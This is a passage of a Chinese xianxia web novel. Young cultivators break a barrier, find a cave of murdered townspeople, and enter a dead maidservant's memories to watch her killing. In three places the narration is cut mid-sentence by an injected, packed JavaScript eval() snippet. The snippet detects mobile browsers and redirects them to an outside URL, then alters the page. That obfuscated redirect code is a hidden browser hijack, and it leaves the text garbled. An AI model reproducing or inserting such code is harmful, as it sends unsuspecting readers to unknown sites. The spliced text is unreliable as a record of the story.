等到他们在一个深幽的洞口站定,司青筠才收起手中的法器,淡声道:“就是这里了。” 公仪岭走到洞口前,探手触了下,手刚放上去,下一秒就被结界弹开。 “还是个挺厉害的结界啊。”公仪岭若有所思,“设这个结界的人到底是想做什么?” 孟妙意冷声道:“谁知道呢?先给他破了再说!”说着手中已经缠绕着淡淡的仙力,想要击破结界。 公仪岭默然道:“硬来不会反伤自身吧……” 司青筠瞥了他一眼,也是拿出了法器:“我倒觉得我们几个人合力的话,应该可以成功破除结界,现在要是还花时间找办法,怕是太慢了。” “好吧。” 公仪岭妥协了,祭出归云:“我瞧这结界也有些年头了,看着几处地方有些薄弱,可以先试试攻击这几处,看看效果。” 司青筠诧异地看向他,显然没想到他还能看出这些:“没想到公仪兄竟有此等眼力。” 公仪岭笑道:“司兄也不赖嘛。” 其他人见他俩已经达成一致,便也没有犹豫,立刻就齐齐朝说的那个地方攻击。 “怎么回事?” 大家是什么样的修为,公仪岭再清楚不过,在他看来刚刚用的力完全能击碎这结界,然而,然而几番下来,面前的结界却是纹丝不动。 他收起脸上笑意,凝视着旁边没有用法器攻击结界的司月吟。 “让我来吧。” 司月吟蹙着眉说完,掌心拂过昆吾轮,一道银白色的光华飞离而去,准确命中了结界薄弱之处。 只听一声清脆的响声,面前的结界应声碎裂。 公仪岭收起归云剑,心道:“果然。” 其余众人眼中皆是意外之色,纷纷收了法器,看向司月吟的目光带了些疑惑。 公仪岚沉默半晌,才试探性问道:“司姑娘,这是为何?” 司月吟却对他们脸上的诸多纷杂表情视而不见,勉强扯出一个笑容,哑着声道:“先进去吧。” 虽然不知司月吟是如何办到,但他们还是听了她的话,先行进了洞穴之中。 燕蓉掌心燃起一团火焰,勉强为里面漆黑的环境照明。 火光跃动,公仪岭只能勉强看清部分脚下的路,两边的状况依旧沉没在黑暗中。 齐元白道:“燕蓉,这里面应该有树枝之类的,生个火吧。” 燕蓉应了一声,接过了他们递过来的树枝,燃起了几个火把,这才将里面的情形照了个七七八八。 然而,公仪岭刚看清,立刻就呆愣在原地,动弹不得。 33. 夜赴百人冢 雨落冀阳城(二) 他身后依稀能够听到齐元白咽口水的声音,颤声道:“真是这里……” 眼前离公仪岭不到几米,竟然堆着密密麻麻数不清的尸山,每个人都是死状狰狞,甚至地上还散落着不少人头,断口处的血早已经流干,在地上映出深深浅浅已经干涸掉的血痕。死去的人数众多,根本无从计起,令人遍体生寒,战栗不已。 公仪岭喃喃道:“果真是百人冢……” 然而,说是这么说,他心里更加偏向于这里不止一百个尸身,看这数目,说是上千也不夸张。 公仪岚沉声道:“先看看里面人的面容,是不是跟在外面遇到的一样?” 公仪岭接过一个火把,立刻就上前去细细查看这些尸身的面容,只粗略地看过几个人,就已经确定了:“的确是刚才遇到的那些,他们果然是因为被割喉死去的。” 公仪岚将几具散落在外的尸身在地上摆好了位置,其余人也都学着他的样子将成堆的尸体一具具安置好。沉默了大约有一个时辰的时间,才有人轻声开口。 公仪岭循声望去,是在尸山另一边帮忙的燕蓉发出的声音,就听见她说道:“你们看,这是不是青黛姑娘?” 公仪岭心头一震,立刻就放下手中的尸身快步走到那边。 燕蓉面前整整齐齐摆放了十余具尸身,而此刻她正站在一具白衣女尸旁边。幸而这洞中阴寒干燥,保全了他们尸身不腐烂。 这女子虽然面无血色,形容枯槁,但公仪岭依旧认出来了身份:“是她!就是青黛。” 公仪岚一眼扫过,也没有异议,只是叹息了一声:“眼下似乎也没有办法得知此处到底发生什么了。” “不,有办法。” 燕蓉蓦然抬头,竟是无比认真:“紫阳宗有一术法,能够探查亡者的记忆。她的尸身既然没有腐烂,那我就可以试试探查她的回忆。” 燕蓉平日里言语不多,人又寡淡,即便是遇到什么大事,脸上也是无波无澜的模样。公仪岭有的时候甚至会忘记她是紫阳宗里的弟子,毕竟在他看来,紫阳宗里的人都是十分张扬个性,尤其是宗主和少宗主,两个人的性格简直是一个模子里刻出来的,轻狂又烈性。 这就让又稳重,做事又有条理的燕蓉在紫阳宗里面显得格格不入了。 看着她祭出法器,一副打算英勇就义的决然模样,公仪岭忍不住开口道:“听说紫阳宗的这个术法消耗极大,你当真吃得消吗?” 这并非是他危言耸听,而是确有其事。公仪岭清楚地记得,紫阳宗以前有个弟子就是因为追忆术,探查不成,反倒灵力损毁,失去了自己的记忆。 紫阳宗弟子们一开始修习追忆术法的时候,很难掌握要领,有的时候甚至会直接莽撞地探查到别人一生的回忆,其中不仅包括人生大事,也包括各种细枝末节的小事。 若是使用不当,把过量记忆记到自己的脑中,轻则损害自身灵力,重则因此殒命。 燕蓉道:“这个术法,我并不常用,更别说是在历练中的要紧关头用了。不过凡事皆有第一次,不试试怎么知道?” 公仪岭迟疑道:“可是如果失败……” 他欲言又止,眼中担忧作不得假。 公仪岭知道紫阳宗主一向看好她,即便在紫阳宗,燕蓉的资质也算是数一数二的优异,但怎么说燕蓉也是跟他们一起来的,要是有个三长两短,要怎么跟其他人交代? 如果燕煦泽在的话,问题倒是迎刃而解了,公仪岭知道燕煦泽的追忆术修得极好,初次下山历练的时候就用追忆术解决了个大问题。面对现在这种情况,让燕煦泽来用这个术法,断然不会出什么意外。 燕蓉知道他在担忧什么,轻笑道:“虽然我也觉得这个事情让大师兄来更稳妥些,不过现在的情况来看,除了我来,也没有其他选择了,你们不妨信我一次?” 她说得不错,现在大家唯一的线索都指向这里,时间紧任务重,想要快点得知缘由,这是最便捷的方法了。 公仪岭沉默下来,向大哥投去一个眼神。 公仪岚抿唇,低头思虑了片刻,对燕蓉问道:“燕姑娘,我记得如果几个人一起进入回忆的话,可以稍微减少一些风险,是吗?” 燕蓉有些意外,没想到他会知道这个事情,犹豫片刻后点了点头:“的确。不过即便几个人一起,能减轻一些承受回忆的量,可失败了并不代表你们会平安无事。所以我还是不建议你们这样冒险,从大局考虑,我一个人来就好了。” 公仪岚也只是偶然间听父母说过,并不确定,才会出此一问。听到燕蓉肯定后,再没什么犹豫,轻松道:“既然如此,燕姑娘不必考虑这么多,我和阿岭与你一同进入记忆,让元白他们三个在旁边护法就是了。” 公仪岭赶紧点头:“是啊燕蓉,三个人一块的话,出了什么问题我们也好把你拉回来。” 齐元白道:“既然现在大家都是一个队伍的,哪有让你一个人冒险的道理?我在旁边守着你们,不会出事,你们放心。” 司月吟则是已经很实在地开始在地上画阵法,对燕蓉微笑道:“没时间犹豫了,开始吧。” 司青筠低声插了一嘴:“为了以防万一,我觉得你们有什么重要的话或者东西可以先留下,到时候也好有个交代。” 他这话在这时候说是显得不太吉利,但是个大实话。 燕蓉向来习惯做两手准备,所以没觉得有什么问题,想了想从怀中取出一个红色的穗子,对齐元白说道:“如果我出了什么意外,劳烦将这个交给大师兄,他知道是什么意思。” 齐元白收下,转而看向正在浑身上下摸遗物的公仪岭,无语道:“阿岭你的呢?” 公仪岭出门的时候,除了归云剑什么都没带,现在颇为懊恼,想了半天,只得取下腰间的玉质凤佩,放到他手上:“元白你把这个带给我爹娘就是了,记得叫他们照顾好我的招财进宝和富贵,每隔一个月,得下山给它们带猪肝的。” 他顿了顿,继而又痛心道:“……还有我的绝密菜谱和极品鱼竿,就交给承悦吧。” 齐元白将他的凤佩收好,诚恳道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429901|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然不想说得这么直白,但你的绝密菜谱要是去掉自制醋鱼,没准还真是本难得的好菜谱。” 公仪岚哑然失笑,也将腰间龙佩取下,只道:“若我和阿岭有什么意外,承悦可堪大任。” 这句话可以说是重诺了,齐元白心中意外,与他眼神交汇中确认了公仪岚的决心,深吸一口气,道了声“好”。 所有东西交托完后,司月吟的阵法也画完了,手中祭出了昆吾轮,对燕蓉道:“可以了。” 她早已将法器拿在手中准备开始。 燕蓉手中的法器,是一柄通体淡青色,青玉扇骨制成的折扇,这折扇在动用灵力的时候,扇面上会浮现浅金色的光泽,故而名为浮光青玉扇,是当年燕宗主亲手赠与的法器,是个不可多得的法宝,也常年在仙家法器榜上排名居高不下。 依靠跃动的火光,今日近距离一看,公仪岭还是感慨:“不愧是你的法器,好漂亮的扇子,与你的青玉簪子很搭。” 燕蓉未置可否,折扇一展,扇面上的淡淡的光泽环绕着扇骨,已经清晰可见,她单手掐完法诀后,便对身旁两人说道:“你们两人将手放到我的扇子上。” 公仪岭与大哥对视一眼,齐齐将手放在了浮光青玉扇的扇面上。 随后,公仪岭刚感觉到手上触摸到了扇子冰凉的玉质,下一刻就感觉意识被吸入了一个迷雾般的漩涡之中,灵识沉浮如同在深海溺水般,迷茫混沌。 公仪岭再度睁眼之时,完全没有料到竟然会身处此地。 虽然房间里面昏暗无比,但公仪岭还是瞧见了屋子里的那张梳妆台,上面还放着女子用的妆匣、金钗发饰等等,一看便知是是一间女子闺房。 公仪岭心想:“难道这是青黛的房间?” 这房间虽然看起来不大,里面摆设的器具和首饰却都看起来价值不菲,公仪岭正猜测青黛的身份会不会是某家的大小姐,想要出房间看看是冀阳城内的哪户人家,就听见身后“咳咳”两声,这才意识到身后还有公仪岚和燕蓉两人。 公仪岚道:“阿岭,回忆幻境脆弱,你先不要乱走,以防出现不测。” 燕蓉四下确认了一番,才谨慎道:“目前来看,术法应该是成功了。在回忆中的人是看不到我们的,不过我们还是得跟着青黛的线路摸索,才能确保回忆结束后,我们能够出去。” 公仪岭问道:“我们应该被安排到青黛身边才是,怎么这个地方不见她?” 燕蓉摇头道:“不一定,回忆的场景会将我们安插到青黛最熟悉的地方,也许这个房间就是她的,过一会儿她就回来了,我们不妨再等等。” 公仪岭耐心地在门旁边蹲守了半柱香的时间,终于听到院子里传来了女子的娇笑声、说话声,顿时精神一振,直了直身子就站起来。 “可算是来了,听这声音,青黛姑娘死前也有一副好嗓子啊。” 公仪岚也颇为遗憾道:“却没想到死后落得这般……” 燕蓉微微皱眉,仔细观察了一下说话的那女子的面容,道:“那不是青黛。” 34. 夜赴百人冢 雨落冀阳城(三) 公仪岭下意识就“啊”了一声。虽然知道她们看不见自己,但刚才他还是礼貌性地只看了一眼来人,的确没注意那女子长什么样子,就默认当成青黛了。 公仪岭探了探头,也仔细看了一眼,才跟公仪岚道:“的确不是青黛姑娘啊。” 那女子穿着一身很得体的湖蓝衣服,头上带满了珠钗,体态丰腴,容颜姣好,略施粉黛就已经十分夺目,跟青黛完全不是一个类型的女子。 最重要的是,这女子手中已经抱着一个婴孩,是一位已经生育过了的妇人。 公仪岚没说话,半晌才指了指为首那位女子身旁的一个不起眼的侍女道:“你们看,这才是青黛姑娘。” 公仪岭顺着他指的方向看去,就见那白衣侍女颔首低头,手中端着果盘,十分稳健地跟在湖蓝色衣服女子身后,看这样貌,自是青黛无疑。 妇人开口道:“你们把所有东西放在桌案上就好。” 青黛和她旁边的一位侍女一齐道:“是,夫人。” 公仪岭看着她们走进了门,将果盘摆好,才低声道:“还真是青黛啊。” 妇人抱着孩子在主位上坐下,将其他侍女都屏退后,收起了方才的笑容,沉声开口道:“青黛,青璃,我自知当初劝不住他,事到临头,也只能这么办了。” 留下来的两个侍女跪在妇人面前,青璃掩面而泣,青黛则是抿唇看着她怀中的婴孩,哽咽道:“夫人,既然现在都已经回家了,您何必还要再回去!呆在这里,也好过回去丢了性命……” 妇人却将手中的婴孩递交给了青黛,语重心长道:“你们两人跟我一起长大,又随我嫁入城主府,这宅院之中,我只信任你们。” 公仪岭听到“城主府”三个字,心中一惊,立刻对两人说道:“她是城主夫人?” 公仪岚看起来镇定地多,分析道:“看她身上的服饰,像极了百人冢内那些人身上的衣服。我想,她大约不是现在那位城主的夫人……她或许是从前的城主夫人。” 燕蓉道:“的确。” 青黛接过婴孩,仍是执拗追问:“夫人,当真没有办法了吗?少爷还这么小,我担心……” 城主夫人敛目,神情疲惫不已,道:“那位本就认识城主府里的人,我若是不回去,难保爹娘不会被牵连进来,他们年岁已高,如何能够受这样的苦?为今之计,也就只好将允儿换掉,保住他一条性命……罢了,罢了,说到底,都是我们有错在先。” 青黛低垂着眼眸,流下两行泪水,死死咬着唇一言不发。 城主夫人继续说道:“申时我就该回去了,偏门已经将马车与行囊给你备好,你们走吧。” 听到这儿,公仪岭转头对他们道:“看起来,好像是有仇家来寻仇,这城主夫人才来了一手偷梁换柱。” 公仪岚点了点头,赞同了他的想法。 燕蓉疑惑道:“既然城主夫人保下了青黛,为何她还是死了?另一个名叫青璃的姑娘,我看着面生,在百人冢里不曾见过。” 主座上的城主夫人又同她们两人细细叮嘱了一番,直到门口又来了一个侍女催促,这才抹去了眼角的泪水,轻声道:“我该走了,你们多保重。” 青黛知道她的意思,即便再不舍,却也还是狠下心点头,将身旁的青璃拉了起来,与城主夫人诀别后,从后门悄然离开。 燕蓉时时刻刻盯着青黛的去向,见她离开,马上说道:“快跟着走,只要没有远离她的路线,在回忆里我们就不会出事。” 公仪岭丝毫不敢怠慢,拉着大哥跟了上去,随着两个侍女一路狂奔,直到看着她们上了马车扬长而去。 公仪岭默默问道:“有什么办法能追上去吗?”毕竟他跟大哥进了回忆,是没有佩剑在身上的,没办法御剑飞行。 燕蓉抚了抚扇子,轻声念了法诀,对他们说:“换个场景就好了。” 话音刚落,公仪岭感到一阵天旋地转,再回神之时,他们已经到另一个地方了。 眼前是一座破败却又看起来很是干净的茅草屋,小小的前院收拾地井井有条,院子正中,是一位穿着粗布麻衣,正在费力砍柴的姑娘。 公仪岭环顾四周,看着角落里码地整整齐齐的柴火,顿时意识到了什么,问道:“这是多久以后了?” 燕蓉道:“半个月后。” 公仪岭惊讶了一下:“时间跨度这么大,我们不会遗漏什么东西吧……这地方毕竟是城中,真的不会出事吗?” 燕蓉望向正在劈柴的青黛,道:“这半个月,我没发现青黛有任何出门的记忆,不会遗漏什么,她们两个人应该是带着小孩在这个地方住了半个月。既然是城主夫人给儿子选的安身之所,想必安全应该是没问题的,只要她们呆在这里,不会出事。” 说话间公仪岚已经将屋子里里外外查看了一遍,说道:“孩子在房间里睡觉,没看见青璃。” 天色不早了,在外面劈柴的青黛显然也意识到了不对劲,劈两下柴火就时不时起身朝门外张望,神色焦急,可左等右等,却迟迟等不到青璃回来。 “这大晚上的,城里也不太平,青璃姑娘能去哪里?” 公仪岭最见不得这样,也跟着焦急起来:“不会是出什么事情了吧?” 青黛将劈好的柴火收拾好,放到一边,全都弄完了也没等到青璃回来,脸上犹豫不已,显然在思考要不要出门去找,刚想迈步子出门,回头看看,却又因为屋子里酣睡的小儿下不了决心。 结局既然已经知晓,事情发展到这样,他们几个多少也能猜出个大概来了。 燕蓉叹气道:“我想,青黛最后应该还是出去找了。” 公仪岭在心里默默祈祷了好一会儿,不希望青黛贸然出去。然而事情的发展还是像燕蓉说的那样无可挽回。 青黛心烦意乱足足等了一个时辰,没看见青璃回来,最后还是跑出了门。 “走吧,跟上去看看。”公仪岚说道。 公仪岭回望了一下屋子,踌躇不定:“那这孩子?” 燕蓉已经果断跟了上去:“这是回忆,不是现实,就算在这边看孩子也改变不了什么,还是跟紧青黛才是。” 青黛虽然出门匆忙,却也没忘了将遮面的斗笠带上。步履匆匆没走了几里路,公仪岭便知她一路小跑的方向是朝着冀阳城去的。 大约这时候是正值冀阳地带的雨季,这一路地面的野草都长得极其旺盛,树木林立,河面波光粼粼,与他们现实中见到的完全是两种环境。 看着周边的景色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429902|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,公仪岭也是颇为感慨:“从前冀阳没有灾祸的时候,倒也是一片生机。” 燕蓉决然道:“只要找到阵眼,总能回到从前。” 好在晚上冀阳城内淅淅沥沥下了些小雨,青黛带着斗笠在城里并不引人注目。不知为何,今日冀阳城街道上空无一人,街边的灯笼也早早就熄灭了,大家一反常态没有出来做夜市的生意,全部都老老实实窝在家里没有出门。 公仪岚凝声道:“这么反常,恐怕城里这几夜不太平啊。” 公仪岭看着青黛匆匆赶路的背影,担心道:“青黛姑娘远离城中生活半个月,恐怕不知道发生了什么,大晚上的一个人在外面走,太危险了。” 周围漆黑一片,脚下雨水涟涟,青黛神色惊惶,一双手紧紧揪在衣襟前面,壮着胆子在冀阳城的小巷穿梭,轻声唤着青璃的名字。 无人应答。 寻了半天没有结果,也有好心的大娘在屋里听到了她的声音,打开门善意地询问她:“姑娘,晚上雨下大了,要不要进来避一避?” 青黛道了声谢,婉拒了大娘的好意,没进屋子避雨,还是固执地在城中寻找。 夜色渐浓,她路走得偏僻,两边也不见灯光,只能放缓了步子摸索着前进。公仪岭试图燃了齐元白的符纸给她照明,却发现无济于事,路上根本没有火焰的亮光,依旧是漆黑一片。青黛看不见他们,自然也看不见他手中燃起的火焰,只能磕磕绊绊地继续前进。 公仪岚在此时却听到了身后传来动静,本能地凝神屏息,对两人说道:“有人来了。” 公仪岭心中也是一惊,脑中已经开始勾勒出一副趁着月黑风高行凶的画面了:“有没有什么术法能看清楚那人长什么样的?燕蓉,你拿扇子施个火术法管用吗?” 燕蓉手中捏着扇骨,明知是不可能的事情,却还是抬手在空中划出一道火光。 没有变化。 她无奈道:“你也看见了吧,并不是我不想用,只是身处回忆的我们,实在无法改变当时的环境与轨迹。” 公仪岭只得努力去看那个人,无奈天色太暗,只能看得见他穿着一身宽大的深色外袍,遮住了面容,根本分辨不出这人是谁。 公仪岚也是看了半天没看出个所以然,叹气道:“就算能看得出,我们也不见得认识,毕竟这是好多年前的事情了,我们或许都没出生呢。” 公仪岭转念一想,确实是这个道理:“目前来看,多半是这个人害死的青黛了。只是青黛一个小丫鬟,跟他能有什么仇怨,大晚上来抓她?” 燕蓉冷静道:“我看不一定吧,青黛既然死在百人冢里面,总不至于那几百来号人都跟这蒙面人有仇有怨。多半是这人晚上出现,随机把路上的人掳走,这才盯上了青黛。” 这蒙面人的手法干脆利落,悄无声息就落在青黛的身后,青黛刚意识到不对,尖叫了一声连滚带爬就要逃跑,那人的手指就点住了青黛身上的几个位置,封住她的五识,令她身体动弹不得,也不能喊叫出声,只能任由他带走自己。 公仪岭见他扛起人就朝屋顶飞去,急道:“快追!快追!” 三人飞檐走壁的功夫都练得极好,哪怕蒙面人在屋顶上飞的极快,他们也没有落后,紧紧跟着他朝城外去。 35. 夜赴百人冢 雨落冀阳城(四) 起落飞跃之间,公仪岭还不忘抽空朝北边指了指:“这蒙面人肯定是朝着荒山的方向去的。” 他说得不错。只是那荒山在这回忆中,还不是一片荒芜的景象,在他印象中留着木桩子的几处地方,现在也是郁郁葱葱的一片林木。 蒙面人最后果然停在了他们熟悉的这个洞口,将扛着的青黛放到地上,顺手解开了她的穴道,将整个洞口都用结界封了起来。 公仪岚瞧着他布下结界的手法,道:“这人果然是仙门里的人。” 燕蓉摸黑找到了之前尸山的位置,双手随意抚过那些尸体,手上就感觉到血液的黏腻,顿时觉得头皮发麻,喃喃道:“这么多人,竟然都是他杀的。” 仙门的人?这样的人,也配能叫做仙门的人么…… 公仪岭冷冷嗤道:“如此心狠手辣,我可不想跟他在同一个‘仙门’。” 青黛刚解开穴道,就被面前一步步朝她逼近的人吓得瘫软在地,连连往后爬,却不慎摸到了地上冰凉的尸体,用手紧紧捂住嘴才没有尖叫出声,身子抖如筛糠:“别……别过来!” 黑暗和恐惧几乎将她压得濒临崩溃,语无伦次地哀求他:“不,不,不要杀我!求求您……求您!” 那人没有理会她说的什么,开口的声音无悲无喜:“马上就结束了,你是最后一个。” ……这是,谁的声音? 公仪岭仔细分辨着这声音,觉得有一些耳熟,却又跟记忆里的那些人怎么都对不上号,一时间也拿不准主意。 燕蓉的注意力则都被他说的“最后一个”吸引过去了,暗暗攥紧了拳头。 不论青黛如何哀求叫唤,蒙面人都置若罔闻,大步流星上去就将青黛拎了起来,藏在袖中的匕首寒光微闪。 “不好,他要杀了青黛!” 尽管公仪岭知道自己无力阻止,但还是没控制住,一个箭步上前想要挡在两人中间。 公仪岚见他要用身体去挡,惊道:“阿岭!” 遗憾的是这样并不能阻止什么,公仪岭身体如同透明的幻影一般虚无,眼睁睁看着那把匕首穿过了自己的身体,面前之人轻轻松松就割断了他身后青黛的喉管。 鲜血从她的喉咙处喷涌而出,溅在了蒙面人的衣摆上。公仪岭在一瞬间感受到了青黛的生命在飞速流逝,连同他的视线也随着这种流逝而渐渐模糊,公仪岭清楚地意识到,在青黛的生命即将完结的时候,这份回忆也终于迎来结局。 只是他还是不甘心,没能看清凶手的真面目,公仪岭努力地睁大眼,伸出手去想要抓住什么,恍惚间看见蒙面人取出了一个有几分眼熟的东西,将青黛的颈血抹在了这上面。 这是什么? 公仪岭的脑子里反反复复只剩下这一个念头,直到意识陷入黑暗的最后一刻。 “阿岭?阿岭?阿岭!” 迷迷糊糊中,公仪岭听到耳边一直有个声音喊着他的名字,想要应答却又发不出声音,拼命挣扎着想从黑暗中出来。 不知应了几声以后,公仪岭终于猛然睁眼,一骨碌从地上滚起来,眼神呆滞地坐了许久,眼前重影的画面才逐渐清晰起来。 “有没有事?有没有事?说个话!” 公仪岭置若罔闻,直到从回忆里彻底清醒过来后,公仪岭才抬手拍开了齐元白在他眼前晃荡的手,哑声道:“……我没事。” 公仪岚见他醒来,松了口气:“可算是醒过来了……我都开始怀疑是不是那个匕首伤了你,才会让你醒不过来。没事就好。” 公仪岭缓缓问道:“大哥,青黛被割喉后,你们就醒来了吗?” 公仪岚道:“是的,我和燕蓉都醒得很快。” 也许是因为自己意识在那一刻想要看清楚,才会比他们醒来晚。公仪岭默默想。 燕蓉收起折扇,写了部分关键信息,在旁边淡声道:“醒过来了就好,看样子脑子没事,这说明回忆没有对你本身造成不良影响。想不到第一次历练里用追忆术就大获成功,看来回去能记录一篇总结了。” 公仪岭心情却是沉重到了谷底。 现在的情况也不方便仔细询问他们俩,他完全不知道大哥和燕蓉有没有在离开回忆的最后一刻,看到蒙面人手里的那个东西。 随着公仪岭的思绪渐渐回笼,他自然也想起了为什么那个东西会这么眼熟,虽然当时他只模糊一眼,但多亏了这法器响亮的名号,才让他在上次司月吟布雨阵的时候就牢牢记住了这件法器的模样。 昆吾轮,那个东西竟然是昆吾轮! 难怪青黛看见他们的时候就好像受到了什么刺激一般,现在看来,并不是他们祭出了法器要与青黛刀剑相向,而是青黛认出了当时司月吟手上拿着的昆吾轮,这才发了疯。 可是,虽然大部分法器都是修士们自己炼出来的,但也有转手了几任主人的情况。光从回忆中得知的线索来看,公仪岭并不觉得那个蒙面人是司月吟。一来司月吟只比他大一岁,年岁压根对不上;二来她的身形纤瘦,而蒙面人不说五大三粗,但至少一看就知道是个男子的身形。 公仪岭并不清楚昆吾轮从前到底经历过几个人的手,在心里揣度着那个惊人的猜想,还是没敢妄下定论。 他悄然看了一眼司月吟,见她安静地站在公仪岚的旁边,没有出声。 齐元白被他打掉了手掌,倒也没恼,检查了一下他身体无事后,就将揣在怀里的几个信物还给他们:“幸好你们平安无事……阿岭,把你的凤佩收好。” 公仪岭默默接了玉佩挂回腰间,听见司青筠问他:“你们都看见什么了?” 公仪岭垂着眼,完全没心情回答。公仪岚见他状态不好,就替他将看见的事情简单讲述了一下。 从城主夫人的闺房到青黛被杀,公仪岚虽然说得很精炼,但是重要的地方没有丝毫遗漏。这么讲述完,立刻能让公仪岭确定,大哥和燕蓉应该是没看见昆吾轮了。 想想也是,自己离得那么近也只是看见了隐约一个轮廓,更不用说他们站的远的,定然是还没反应过来就先脱离了回忆。 齐元白听完有些遗憾:“这么说来,也没法确定蒙面的人是谁了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13429903|141419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 司青筠若有所思:“至少能确定一点,就是百人冢里的确有个阵法。” 公仪岭目光移向司月吟,道:“就算有个阵法,那也不会是旱阵。据我所知,旱阵也不需要杀这么多无辜的人起阵吧?” 司月吟沉默半晌,轻声否认:“不用。” 刚才的那句话说是试探也不为过,他与司月吟说起来不算熟悉,司月吟究竟怎么想,公仪岭也不清楚。他观察着司月吟的表情,觉得司月吟现在似乎有些举棋不定,不知道是不是知道了什么才会这样,微微皱眉。 司青筠道:“公仪兄你既然对阵法有研究,想必应该清楚到底是什么样的阵法,需要用到活人血祭吧?” 公仪岭的确知道。 像这种用如此惨无人道的方法起阵,必然只有那种逆天而为的阵法才需要这么做。 而眼下这些被无辜牺牲掉的百姓,肉身被困在这个洞中,灵魂都不得安息,就这样成了起阵用的养料,无论如何也不能让人接受。 司青筠见他眉目沉沉、闭口不语,语重心长地劝说道:“即便这个阵法同旱阵无关,但我们既然知道了此阵绝非善类,倒不如顺便一起解决了,放了这些亡魂,也是善事一桩。” 公仪岭明白他的言下之意,对他笑道:“这样也好,司兄考虑的果然全面。” 司月吟却道:“师兄,你这么说固然没错,不过当务之急,应该是先将旱阵地阵眼找到、解决了吧?昨日里我们地图上还标了几个方位,时间紧迫,倒不如先去其他地方找找,再回来解决这件事。” 司青筠神色微动,似是在思考司月吟的话。 两边掂量了一下轻重缓急后,他取出地图看了一眼,道:“这片荒山还有两处地方没有寻找,如果师妹想先去解决旱阵的话,不如我留在这里找此阵阵眼,你们继续去别处找找?” 公仪岚有些意外,很快摇头道:“不妥。你一个人留在这里,若是出了什么事情也没法照应。” 司青筠倒也没反驳他,微微一笑,起身拿着法器开始四下搜寻了。 公仪岭见司青筠这样也是铁了心了,对身旁的人劝道:“大哥,算了,他要找的话,就先留在此地找阵眼吧。” 司青筠闻言,朝公仪岭伸了伸手,轻松道:“那好,劳烦公仪兄递个火把给我吧。” 公仪岭低头一看,右手边果然生了一个火堆,从里面捡了个火把起来递给了他。 司月吟还拿着地图想跟公仪岚商量先去搜寻其中哪一处地方,没讨论多久,洞外面就响起“砰”地一声,不轻不重地落在几人的耳中。 众人神色皆是一变。 司月吟瞬间判断出来:“是仙家的信号弹。” 为了与其他的信号弹作区分,他们每一个宗门的信号弹皆是特制的,自家宗门的信号弹一发出来,他们家的法器也会有所警示响动,那信号弹从颜色到声音都十分特殊,很好辨认。 齐元白被手中捏着的符纸一烫,顿觉不对,冲出去就看清了那信号的颜色,失态大喊:“是阿鸢放的信号弹!” 36. 夜赴百人冢 雨落冀阳城(五) 若非是遇到了紧急的事情,或是生命危险,一般来说,他们是不会轻易放信号弹的,至多不过用灵讯石互相知会一声,再赶过去就是了。 眼下齐清鸢却是这么做了,也难怪齐元白会如此着急了。 太微山齐家的信号长什么样,公仪岭是最为清楚的,他连忙追了出去,抬眼看了一眼天空,上面果然是齐家的信号。 一旁齐元白急得恨不能御剑飞过去,见公仪岭跟了出来,立刻跟看见了救星一样:“阿岭,来得正好!快快、快让归云带我过去,阿鸢肯定是出什么事情了才会放的!” 公仪岭握住齐元白的小臂让他冷静下来:“元白你先别急,那一队人多,清鸢跟他们在一块不会出事的。” 说罢转头对司月吟道:“司姑娘,还劳烦再画一个传送阵法,让我们快些过去。” 齐元白猛然想起传送阵这一茬,赶忙求助:“司姑娘!助人为乐啊!” 司月吟一愣,扭头望向还在找阵眼的师兄:“这……” 齐元白知道她在犹豫什么,急忙打断:“司青筠他心里有数,让他留在这边继续找吧,我们先过去救人要紧,阿鸢那边要是真出了什么事情,就糟糕了!” 公仪岚眉目微沉,道:“也许是他们也找到了阵眼,这才打了信号,我们的确应该过去看看,司姑娘,还请不要犹豫了。” 公仪岭也道:“反正我们现在也还没去剩下两个地方,说不定他们那边已经找到了阵眼,我们过去还能帮个忙,等事情解决了再回来也不迟。” 三人轮番游说,一唱一和,司月吟也不好因为自家师兄迟疑了。 正巧司青筠听到动静也出来看了一眼,司月吟便望向他:“师兄,那我们先过去,你小心点。” 公仪岭不由分说将司月吟拉了过来,对远处的司青筠喊了一声:“司青筠,你在这里留着,我们几个先去,你师妹我们就先带过去了啊。” 片刻后,司青筠的声音传来,语气很是平静:“好。” 司月吟不再犹豫,用法器就地起阵,朝信号弹消散的方向定了方位,这样的效率,可当真比公仪岭徒手画阵要快多了。 白光闪过,阵中的几人瞬间传到了信号弹燃起的地点。 相比起他们走的崎岖山路,齐清鸢他们身处的地方就平坦多了,放眼望去,视野宽阔,地上除了枯死的枝干和干瘪的尸身就没有旁的东西了,看起来至少比他们所在的地方安全。 